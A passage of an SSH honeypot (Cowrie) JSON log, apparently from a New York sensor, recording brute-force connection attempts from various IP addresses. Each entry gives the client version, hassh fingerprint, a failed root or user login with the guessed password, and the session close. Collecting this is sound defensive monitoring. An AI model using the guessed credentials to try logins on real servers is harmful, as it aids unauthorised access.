d25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:37.399441Z","src_ip":"43.156.237.246","session":"ea96f3374792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz1234","message":"login attempt [root/qaz1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:38.381742Z","src_ip":"43.156.237.246","session":"ea96f3374792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:39.626251Z","src_ip":"43.156.237.246","session":"ea96f3374792","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":45092,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc1f6696704","protocol":"ssh","message":"New connection: 147.45.199.80:45092 (10.17.0.5:22) [session: afc1f6696704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:43.129392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:43.135164Z","src_ip":"147.45.199.80","session":"afc1f6696704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:43.238074Z","src_ip":"147.45.199.80","session":"afc1f6696704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vitamin","message":"login attempt [root/vitamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:43.537014Z","src_ip":"147.45.199.80","session":"afc1f6696704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:44.639869Z","src_ip":"147.45.199.80","session":"afc1f6696704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":42698,"dst_ip":"159.203.135.109","dst_port":22,"session":"62d41baf1495","protocol":"ssh","message":"New connection: 43.134.27.11:42698 (159.203.135.109:22) [session: 62d41baf1495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:02.955711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:02.961406Z","src_ip":"43.134.27.11","session":"62d41baf1495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:03.198560Z","src_ip":"43.134.27.11","session":"62d41baf1495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sinus123","message":"login attempt [root/sinus123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:04.179333Z","src_ip":"43.134.27.11","session":"62d41baf1495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:05.420529Z","src_ip":"43.134.27.11","session":"62d41baf1495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":47038,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d6c0c7ddc2d","protocol":"ssh","message":"New connection: 184.94.212.80:47038 (159.203.135.109:22) [session: 1d6c0c7ddc2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:06.483507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:06.487759Z","src_ip":"184.94.212.80","session":"1d6c0c7ddc2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:06.556806Z","src_ip":"184.94.212.80","session":"1d6c0c7ddc2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zrway.com","message":"login attempt [root/zrway.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:06.849428Z","src_ip":"184.94.212.80","session":"1d6c0c7ddc2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:07.918424Z","src_ip":"184.94.212.80","session":"1d6c0c7ddc2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":43110,"dst_ip":"10.17.0.5","dst_port":22,"session":"3591fa96515b","protocol":"ssh","message":"New connection: 103.183.114.55:43110 (10.17.0.5:22) [session: 3591fa96515b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:07.963560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:07.968224Z","src_ip":"103.183.114.55","session":"3591fa96515b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:08.188084Z","src_ip":"103.183.114.55","session":"3591fa96515b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bullet","message":"login attempt [root/bullet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:08.851605Z","src_ip":"103.183.114.55","session":"3591fa96515b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":42670,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ce1cbc28f4b","protocol":"ssh","message":"New connection: 207.154.230.149:42670 (159.203.135.109:22) [session: 7ce1cbc28f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:08.960095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:08.974005Z","src_ip":"207.154.230.149","session":"7ce1cbc28f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:09.050587Z","src_ip":"207.154.230.149","session":"7ce1cbc28f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rroooott","message":"login attempt [root/rroooott] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:09.362221Z","src_ip":"207.154.230.149","session":"7ce1cbc28f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:10.081483Z","src_ip":"103.183.114.55","session":"3591fa96515b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:10.445871Z","src_ip":"207.154.230.149","session":"7ce1cbc28f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:14.593188Z","src_ip":"101.126.22.12","session":"b0f6e96c4c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:18.401243Z","src_ip":"115.190.168.136","session":"944a3f2ac62b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":36690,"dst_ip":"159.203.135.109","dst_port":22,"session":"d416cc183def","protocol":"ssh","message":"New connection: 43.156.237.246:36690 (159.203.135.109:22) [session: d416cc183def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:20.983027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:20.987744Z","src_ip":"43.156.237.246","session":"d416cc183def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:21.232884Z","src_ip":"43.156.237.246","session":"d416cc183def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ownage123","message":"login attempt [root/ownage123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:22.249879Z","src_ip":"43.156.237.246","session":"d416cc183def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:23.498655Z","src_ip":"43.156.237.246","session":"d416cc183def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":55926,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2a073df7d16","protocol":"ssh","message":"New connection: 2.57.122.238:55926 (159.203.135.109:22) [session: c2a073df7d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:28.849720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:28.854300Z","src_ip":"2.57.122.238","session":"c2a073df7d16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:28.953446Z","src_ip":"2.57.122.238","session":"c2a073df7d16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:29.250748Z","src_ip":"2.57.122.238","session":"c2a073df7d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:30.353688Z","src_ip":"2.57.122.238","session":"c2a073df7d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":41036,"dst_ip":"159.203.135.109","dst_port":22,"session":"39b63c31a777","protocol":"ssh","message":"New connection: 115.178.75.242:41036 (159.203.135.109:22) [session: 39b63c31a777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:31.087492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:31.090757Z","src_ip":"115.178.75.242","session":"39b63c31a777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:31.278524Z","src_ip":"115.178.75.242","session":"39b63c31a777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"steam123","message":"login attempt [root/steam123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:32.061007Z","src_ip":"115.178.75.242","session":"39b63c31a777","protocol":"ssh"}
